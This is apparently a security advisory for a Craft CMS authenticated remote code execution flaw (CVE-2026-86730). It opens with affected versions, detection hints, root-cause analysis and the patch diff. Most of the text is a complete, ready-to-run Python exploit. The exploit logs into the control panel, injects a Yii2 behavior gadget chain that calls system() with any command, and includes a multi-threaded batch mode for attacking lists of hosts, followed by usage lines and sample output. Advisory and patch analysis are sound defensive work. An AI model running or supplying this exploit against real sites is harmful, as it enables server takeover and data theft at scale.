#Summary
CVE-2026-86730 is a remote code execution vulnerability in Craft CMS versions 5.0.0-RC1 through 5.10.11 that allows authenticated control-panel users to execute arbitrary shell commands. The vulnerability arises from an incomplete configuration sanitizer that fails to strip Yii2 behavior-attachment keys when they are hidden inside JSON strings. This enables attackers to inject and execute a gadget chain that reaches call_user_func('system', <command>). CVSS score: 8.8 (High), CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
#Am I affected?
- Affected: Craft CMS
5.0.0-RC1 <= version < 5.10.12 - Patched: Craft CMS
>= 5.10.12 - Default configuration: affected
- Access needed: authenticated control-panel user (no admin rights or special permissions required)
#How to check
Check the installed version of Craft CMS:
grep -i "version" config/app.php | grep -i craft
# or
php craft versionCross-reference against the patched version (5.10.12 or later). Any version from 5.0.0-RC1 through 5.10.11 is vulnerable.
| Output | Verdict |
|---|---|
| version 5.0.0 - 5.10.11 | Vulnerable |
| version 5.10.12 or later | Patched |
#Fix and mitigation
- Fix: Upgrade to Craft CMS version 5.10.12 or later.
- If you cannot upgrade: Remove control-panel access for non-admin accounts. This eliminates the attack surface while patches are applied. The vulnerability requires authenticated access to the control panel; anonymous users cannot exploit it.
- Detection: Monitor HTTP access logs for POST requests to
/admin/actions/element-indexes/filter-hudor/admin/actions/fields/render-card-previewwith JSON payloads containing"as z"or similar behavior-attachment keys. Monitorerror.logforInvalidArgumentExceptionorInvalidConfigExceptionmessages related to field-layout element construction.
#Root cause analysis
#Vulnerable code path
Craft normalizes untrusted component configurations with Component::cleanseConfig(), which is designed to strip Yii2's dangerous on <event> and as <behavior> keys. However, the implementation has a critical flaw: it only recurses into values that are already PHP arrays:
// Craft CMS 5.10.11 - src/helpers/Component.php
public static function cleanseConfig(array $config): array
{
foreach ($config as $key => $value) {
if (is_string($key) && (str_starts_with($key, 'on ') || str_starts_with($key, 'as '))) {
unset($config[$key]);
continue;
}
if (is_array($value)) { // Only arrays are cleansed recursively
$config[$key] = static::cleanseConfig($value);
}
}
return $config;
}When FieldLayoutTab::__construct() processes a field-layout configuration, it decodes the elements value after the cleanse operation has already completed:
// Craft CMS 5.10.11 - src/models/FieldLayoutTab.php
public function __construct($config = [])
{
if (array_key_exists('elements', $config)) {
if (is_string($config['elements'])) {
$config['elements'] = Json::decode($config['elements']); // Decodes AFTER cleanse
}
if (!is_array($config['elements'])) {
unset($config['elements']);
}
}
parent::__construct($config);
}Any as key hidden inside the JSON string passes through the cleanse operation untouched because it is not yet an array. When the JSON is decoded, those keys are restored and reach the parent constructor, which is Yii2's BaseObject, a configurable component that interprets as <name> keys as behavior attachments.
#How input reaches the sink
An authenticated control-panel user posts a field-layout configuration to one of several endpoints, such as /admin/actions/element-indexes/filter-hud or /admin/actions/fields/render-card-preview. The beforeAction() hook reads the posted configuration, runs Component::cleanseConfig() on it, and builds the layout using FieldLayout::createFromConfig(). That method constructs FieldLayoutTab instances, passing the configuration including the still-stringified elements value. Inside FieldLayoutTab::__construct(), the string is decoded, and the buried as z key now escapes the sanitizer.
Each element in the decoded array is processed by Fields::createLayoutElement():
// Craft CMS 5.10.11 - src/services/Fields.php
public function createLayoutElement(array $config): FieldLayoutElement
{
$type = ArrayHelper::remove($config, 'type');
if (!$type || !is_subclass_of($type, FieldLayoutElement::class)) {
throw new InvalidArgumentException("Invalid field layout element class: $type");
}
$config['class'] = $type;
return Craft::createObject($config); // Attacker-influenced config applied here
}Craft::createObject() instantiates the element and applies the configuration through Yii2's Component::__set(). Any surviving as <behavior> key triggers behavior attachment:
// Yii 2.0.55 - yii\base\Component::__set()
} elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
if ($value instanceof Behavior) { ... }
elseif (isset($value['__class']) && is_subclass_of($value['__class'], Behavior::class)) {
$this->attachBehavior($name, Yii::createObject($value));
} elseif (!isset($value['__class']) && isset($value['class']) && is_subclass_of($value['class'], Behavior::class)) {
$this->attachBehavior($name, Yii::createObject($value)); // Entry into nested createObject
} ...
}#Patch diff
The fix wraps the decoded array in Component::cleanseConfig() before it is used, closing the ordering vulnerability in a single change:
--- a/src/models/FieldLayoutTab.php (5.10.11)
+++ b/src/models/FieldLayoutTab.php (5.10.12)
@@
use craft\helpers\ArrayHelper;
+use craft\helpers\Component;
use craft\helpers\Cp;
use craft\helpers\Html;
use craft\helpers\Json;
@@ public function __construct($config = [])
if (array_key_exists('elements', $config)) {
if (is_string($config['elements'])) {
- $config['elements'] = Json::decode($config['elements']);
+ $config['elements'] = Component::cleanseConfig(Json::decode($config['elements']));
}
if (!is_array($config['elements'])) {
unset($config['elements']);
}#What the fix does
By cleansing the decoded array while it is still an array, all as and on keys are properly stripped before the element is constructed. The vulnerable window - where a decoded array contains unsanitized keys - is eliminated. The sanitizer itself (Component::cleanseConfig()) remains unchanged; the bug was purely the ordering of decode vs. cleanse at this single call site.
#Proof of concept
#exploit.py - Craft CMS Behavior Injection RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-86730 - Craft CMS authenticated RCE via field-layout behavior injection
Affected: Craft CMS 5.0.0-RC1 <= version < 5.10.12
Type: RCE (Yii2 behavior/event-handler injection -> arbitrary object instantiation)
A field-layout tab accepts its `elements` value as a JSON-encoded string. Craft's
config sanitizer only recurses into values that are already PHP arrays, so the
string is copied through untouched and decoded afterwards, resurrecting Yii2's
`as <behavior>` configuration keys. Attaching a slug behavior whose uniqueness
validator is a filter validator turns that into a call to a shell function.
Requires any authenticated control-panel account. No admin rights, no pre-existing
custom field, and no knowledge of the target's sections or field UUIDs are needed.
Usage:
python exploit.py --host <target> --login <user> --password <pass>
python exploit.py --host 192.168.1.10 --port 8080 --login editor --password hunter2
python exploit.py --host https://cms.example.com --login editor --password hunter2 --command "uname -a"
python exploit.py --host https://cms.example.com/panel --cp-path /panel --login editor --password hunter2
python exploit.py --list targets.txt --workers 20 --login editor --password hunter2
"""
import argparse
import http.cookiejar
import json
import re
import secrets
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
import uuid
CVE_ID = "CVE-2026-86730"
VULN_TYPE = "RCE"
DEFAULT_PORT = 80
DEFAULT_CP_PATH = "/admin"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0 Safari/537.36"
# Sinks that build a field layout from a posted config, most useful first.
# The low-privilege one runs the layout through the vulnerable constructor in
# beforeAction(), i.e. before the action's own required parameters are checked.
SINK_INDEXES = "element-indexes/filter-hud"
SINK_CARD = "fields/render-card-preview"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------
# HTTP plumbing (standard library only)
# --------------------------------------------------------------------------
def _opener():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
op = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()),
urllib.request.HTTPSHandler(context=ctx),
)
op.addheaders = [("User-Agent", UA)]
return op
def _base_url(host: str, port: int, use_tls: bool) -> str:
scheme = "https" if use_tls else "http"
if (use_tls and port == 443) or (not use_tls and port == 80):
return f"{scheme}://{host}"
return f"{scheme}://{host}:{port}"
def _get(op, url: str, timeout: int) -> tuple:
req = urllib.request.Request(url)
try:
with op.open(req, timeout=timeout) as r:
return r.status, r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
def _post(op, url: str, data: dict, timeout: int) -> tuple:
body = urllib.parse.urlencode(data).encode()
req = urllib.request.Request(url, data=body)
req.add_header("Content-Type", "application/x-www-form-urlencoded")
req.add_header("Accept", "application/json")
req.add_header("X-Requested-With", "XMLHttpRequest")
try:
with op.open(req, timeout=timeout) as r:
return r.status, r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
# --------------------------------------------------------------------------
# Payload construction
# --------------------------------------------------------------------------
def _flatten(prefix: str, obj, out: dict) -> dict:
"""Encode a nested structure as PHP-style bracketed form fields."""
if isinstance(obj, dict):
for k, v in obj.items():
_flatten(f"{prefix}[{k}]", v, out)
elif isinstance(obj, list):
for i, v in enumerate(obj):
_flatten(f"{prefix}[{i}]", v, out)
elif obj is None:
out[prefix] = ""
elif isinstance(obj, bool):
out[prefix] = "1" if obj else "0"
else:
out[prefix] = str(obj)
return out
def _layout_config(command: str, marker: str) -> dict:
"""
Build the field-layout config carrying the injected behavior.
The tab's `elements` value is a JSON *string*. That is the whole bug: the
sanitizer only walks values that are already arrays, so the string is left
alone and decoded afterwards with the `as ` key still in it.
The behavior is bound to the model's own init event, which the layout
element fires from its constructor, so the command runs while the config is
being parsed. Nothing has to be rendered or validated afterwards.
"""
wrapped = f"echo {marker}; ( {command} ) 2>&1; echo {marker}"
element = {
"type": "craft\\fieldlayoutelements\\Heading",
"uid": str(uuid.uuid4()),
"as z": {
"class": "yii\\behaviors\\SluggableBehavior",
"attributes": {"init": "heading"},
"attribute": None,
"slugAttribute": "heading",
"value": wrapped,
"immutable": False,
"ensureUnique": True,
"uniqueValidator": {
"class": "yii\\validators\\FilterValidator",
"filter": "system",
},
},
}
return {
"type": "craft\\elements\\Entry",
"uid": str(uuid.uuid4()),
"tabs": [{
"name": "t",
"uid": str(uuid.uuid4()),
"elements": json.dumps([element]),
}],
}
def _extract(body: str, marker: str) -> str | None:
"""Pull the command output back out from between the two markers."""
parts = body.split(marker)
if len(parts) < 3:
return None
return parts[1].strip()
# --------------------------------------------------------------------------
# Core exploitation
# --------------------------------------------------------------------------
def _csrf(op, base: str, cp_path: str, timeout: int) -> str | None:
_, html = _get(op, f"{base}{cp_path}/login", timeout)
for pat in (r'"csrfTokenValue"\s*:\s*"([^"]+)"',
r'csrfTokenValue:\s*"([^"]+)"',
r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"'):
m = re.search(pat, html)
if m:
return m.group(1)
return None
def _authenticate(op, base: str, cp_path: str, login: str, password: str, timeout: int) -> str | None:
"""Log into the control panel. Returns the post-login CSRF token."""
token = _csrf(op, base, cp_path, timeout)
data = {"loginName": login, "password": password}
if token:
data["CRAFT_CSRF_TOKEN"] = token
status, body = _post(op, f"{base}{cp_path}/actions/users/login", data, timeout)
if status != 200:
return None
try:
parsed = json.loads(body)
except ValueError:
return None
if parsed.get("error") or not parsed.get("returnUrl"):
return None
return parsed.get("csrfTokenValue") or token
def _fire(op, base: str, cp_path: str, sink: str, token: str | None,
command: str, marker: str, timeout: int) -> tuple:
"""Post the malicious layout to one sink. Returns (output_or_None, status, body)."""
data = {}
if token:
data["CRAFT_CSRF_TOKEN"] = token
if sink == SINK_INDEXES:
data["elementType"] = "craft\\elements\\Entry"
data["context"] = "index"
_flatten("fieldLayouts[0]", _layout_config(command, marker), data)
else:
_flatten("fieldLayoutConfig", _layout_config(command, marker), data)
status, body = _post(op, f"{base}{cp_path}/actions/{sink}", data, timeout)
return _extract(body, marker), status, body
def _try_exploit(host: str, port: int, use_tls: bool, cp_path: str,
login: str, password: str, command: str, timeout: int = 20) -> tuple:
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
try:
base = _base_url(host, port, use_tls)
op = _opener()
token = _authenticate(op, base, cp_path, login, password, timeout)
if token is None:
return False, "control-panel login failed"
for sink in (SINK_INDEXES, SINK_CARD):
output, _, _ = _fire(op, base, cp_path, sink, token, command, secrets.token_hex(8), timeout)
if output is not None:
first = output.splitlines()[0].strip() if output.strip() else "(no stdout)"
return True, f"command executed - {first[:80]}"
return False, "config sanitized - no execution (patched)"
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
# --------------------------------------------------------------------------
# Target parsing / scan mode
# --------------------------------------------------------------------------
def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple | None:
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int,
cp_path: str, login: str, password: str, command: str) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port, cp_path) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, login, password, command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------
def exploit(host: str, port: int, use_tls: bool, cp_path: str,
login: str, password: str, command: str, timeout: int) -> None:
header(host, port)
base = _base_url(host, port, use_tls)
op = _opener()
step(1, f"Authenticating to the control panel at {cp_path} as '{login}'...")
token = _authenticate(op, base, cp_path, login, password, timeout)
if token is None:
section("LOGIN", f"No session established at {base}{cp_path}/actions/users/login")
done(False, f"Control-panel login failed for '{login}' - credentials or panel path wrong")
print(f" Session established (CSRF token acquired)")
step(2, "Building field-layout config with `elements` as a JSON string")
print(f" Injected key: \"as z\" -> yii\\behaviors\\SluggableBehavior")
print(f" Gadget: SluggableBehavior -> FilterValidator{{filter: system}}")
print(f" Bound to the layout element's own init event")
last_status, last_body = None, ""
for n, sink in enumerate((SINK_INDEXES, SINK_CARD), start=3):
step(n, f"Posting the layout to {sink}")
marker = secrets.token_hex(8)
output, status, body = _fire(op, base, cp_path, sink, token, command, marker, timeout)
last_status, last_body = status, body
if output is not None:
section("COMMAND OUTPUT", output if output.strip() else "(command produced no stdout)")
first = output.splitlines()[0].strip() if output.strip() else "(no stdout)"
done(True, f"RCE confirmed - command '{command}' output: {first}")
print(f" No execution via this sink (HTTP {status})")
section("SERVER RESPONSE", last_body[:1200])
done(False, f"Payload accepted (HTTP {last_status}) but no command output returned - target is patched")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/panel)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
parser.add_argument("--command", default="id", help="Command to execute (default: id)")
parser.add_argument("--login", required=True, help="Control-panel username or email (any non-admin account works)")
parser.add_argument("--password", required=True, help="Control-panel password")
parser.add_argument("--cp-path", default=DEFAULT_CP_PATH,
help=f"Control-panel trigger path (default: {DEFAULT_CP_PATH})")
parser.add_argument("--timeout", type=int, default=20, help="Per-request timeout in seconds (default: 20)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, cp_path=args.cp_path,
login=args.login, password=args.password, command=args.command)
else:
parsed = _parse_target(args.host, args.port, args.cp_path)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.cp_path)
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
cp_path = args.cp_path if args.cp_path != DEFAULT_CP_PATH else path
cp_path = "/" + cp_path.strip("/") if cp_path.strip("/") else DEFAULT_CP_PATH
exploit(host, port, use_tls, cp_path, args.login, args.password, args.command, args.timeout)#Usage
# Basic exploit against a single target on port 8080, plaintext
python exploit.py --host 192.168.1.10 --port 8080 --no-tls --login editor --password hunter2
# Full HTTPS URL
python exploit.py --host https://cms.example.com --login editor --password hunter2
# Custom shell command
python exploit.py --host https://cms.example.com --login editor --password hunter2 --command "whoami"
# Non-default control-panel path
python exploit.py --host https://cms.example.com/panel --cp-path /panel --login editor --password hunter2
# Batch scan from file
python exploit.py --list targets.txt --workers 20 --login editor --password hunter2Arguments:
--host- target hostname, IP, or full URL (scheme determines TLS;--tls/--no-tlsoverride it)--list FILE- file with one target per line; blank lines and comments (#) are ignored; mutually exclusive with--host--port- default port when the target line omits one (default: 80)--login- control-panel username or email (any account with panel access works; admin rights not required)--password- control-panel password--command- shell command to execute (default:id)--cp-path- control-panel path when it is not at/admin(default:/admin)--timeout- per-request timeout in seconds (default: 20)--workers- concurrency for--listmode (default: 10)
Expected output - vulnerable target:
============================================================
ALIM EXPLOIT CVE-2026-86730
Type: RCE | Target: 127.0.0.1:8710
============================================================
[STEP 1] Authenticating to the control panel at /admin as 'editor'...
Session established (CSRF token acquired)
[STEP 2] Building field-layout config with `elements` as a JSON string
Injected key: "as z" -> yii\behaviors\SluggableBehavior
Gadget: SluggableBehavior -> FilterValidator{filter: system}
Bound to the layout element's own init event
[STEP 3] Posting the layout to element-indexes/filter-hud
--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
============================================================
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================Expected output - patched target:
[STEP 3] Posting the layout to element-indexes/filter-hud
No execution via this sink (HTTP 400)
[STEP 4] Posting the layout to fields/render-card-preview
No execution via this sink (HTTP 403)
--- SERVER RESPONSE ---
{"name":"Forbidden","message":"User is not permitted...
---
============================================================
RESULT : FAILURE
EVIDENCE: Payload accepted (HTTP 403) but no command output returned - target is patched
============================================================#Exploitation notes
#Preconditions
- An authenticated control-panel user account (no admin rights or special field-management permissions needed)
- Network access to the control panel (typically at
/admin) - The vulnerable release (5.0.0-RC1 through 5.10.11) must be installed
#Reliability
The exploit is highly reliable. Execution happens during the element construction phase (init event), which is triggered when the malicious layout is parsed. No subsequent render or validation step is required. The gadget chain (Yii2 behavior attachment - SluggableBehavior - FilterValidator - system()) is stable across the vulnerable version range.
#Impact
Remote code execution as the web server user (typically www-data on Linux). The attacker can execute arbitrary shell commands, read files, modify content, exfiltrate data, or pivot to other systems. Escalation to system admin is possible if the web server has elevated privileges.
#Chaining potential
This is a complete, single-step RCE. There is no memory-corruption ladder. Command execution is immediate and does not require chaining with other bugs. However, once code execution is achieved, the attacker can use standard privilege escalation techniques to gain system or database-level access.
#References
- CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-86730
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86730
- GHSA: https://github.com/craftcms/cms/security/advisories/GHSA-qj4v-m29p-fj4m
- Craft CMS Fix Commit: https://github.com/craftcms/cms/commit/4edc686e69515ad42f5608580e351c765b664f80
- Related: CVE-2026-33157, CVE-2026-44011 (earlier incomplete fixes for the same vulnerability class)
